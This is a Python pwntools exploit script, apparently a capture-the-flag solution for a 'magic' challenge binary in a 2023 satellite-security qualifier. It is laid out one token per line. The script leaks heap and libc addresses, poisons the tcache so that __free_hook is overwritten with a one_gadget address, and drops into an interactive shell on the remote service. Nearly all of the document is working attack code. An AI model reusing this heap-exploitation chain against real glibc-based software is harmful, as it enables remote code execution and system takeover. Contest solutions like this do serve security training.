from
pwn
import
*
import
sys
import
time
context.log_level
=
'debug'
context.arch
=
'amd64'
def
exp(ip, port):
local
=
0
binary_name
=
'magic'
libc_name
=
'libc-2.31.so'
libc
=
ELF(
"./"
+
libc_name)
e
=
ELF(
"./"
+
binary_name)
if
local:
p
=
process(
"./"
+
binary_name)
else
:
p
=
remote(ip,port)
def
z(a
=
''):
if
local:
gdb.attach(p,a)
if
a
=
=
'':
raw_input
else
:
pass
ru
=
lambda
x:p.recvuntil(x)
sl
=
lambda
x:p.sendline(x)
sd
=
lambda
x:p.send(x)
sa
=
lambda
a,b:p.sendafter(a,b)
sla
=
lambda
a,b:p.sendlineafter(a,b)
ia
=
lambda
:p.interactive()
def
cho(choice):
ru(
'>'
)
sl(
str
(choice))
def
post(msg_id, pipe_id, x, msg):
cho(
1
)
ru(
'msg_id:'
)
sl(
str
(msg_id))
ru(
'pipe_id:'
)
sl(
str
(pipe_id))
ru(
'hex:'
)
sl(
str
(x))
ru(
'post on bus:'
)
sl(msg)
def
handle0():
cho(
2
)
def
handle1():
cho(
3
)
if
0
=
=
local:
ru(
'Ticket please:\n'
)
sl(
'ticket{}'
)
post(
100
,
1
,
1
,
'1'
*
0x781
)
handle1()
ru(
'0x1 0 0 0 0 0 0 0 0x21'
)
for
i
in
range
(
23
):
ru(
' '
)
heap
=
0
for
i
in
range
(
6
):
ru(
' '
)
tmp
=
int
(p.recv(
4
)[
2
:],
16
)
heap
=
heap | (tmp<<(i
*
8
))
log.info(
hex
(heap))
for
i
in
range
(
10
):
ru(
' '
)
libcbase
=
0
for
i
in
range
(
6
):
ru(
' '
)
tmp
=
int
(p.recv(
4
)[
2
:],
16
)
libcbase
=
libcbase | (tmp<<(i
*
8
))
libcbase
-
=
0x1ecbe0
log.info(
hex
(libcbase))
post(
101
,
0
,
0
,
'2'
*
0x68
)
for
i
in
range
(
10
):
post(
101
,
255
,
0
,
'2'
*
0x68
)
for
i
in
range
(
9
):
handle1()
for
i
in
range
(
10
):
handle0()
for
i
in
range
(
6
):
post(
101
,
0
,
0
,
'2'
*
0x68
)
post(
101
,
1
,
0
,
'2'
*
0x68
)
post(
101
,
0
,
0
,
'2'
*
0x68
)
post(
101
,
0
,
0
,
'2'
*
0x68
)
for
i
in
range
(
7
):
handle0()
handle1()
handle0()
handle1()
free_hook
=
libc.symbols[
'__free_hook'
]
+
libcbase
log.info(
hex
(free_hook))
one
=
[
0xe3afe
,
0xe3b01
,
0xe3b04
]
for
i
in
range
(
7
):
post(
101
,
0
,
0
,
'2'
*
0x68
)
post(
101
,
1
,
0
, p64(free_hook)
+
b
'2'
*
0x60
)
post(
101
,
1
,
0
, b
'2'
*
0x68
)
post(
101
,
1
,
0
, b
'2'
*
0x68
)
post(
101
,
1
,
0
, p64(libcbase
+
one[
1
])
+
b
'2'
*
0x60
)
p.interactive()
return
''
if
__name__
=
=
"__main__"
:
flag
=
exp(
'magic.quals2023-kah5Aiv9.satellitesabove.me'
,
5300
)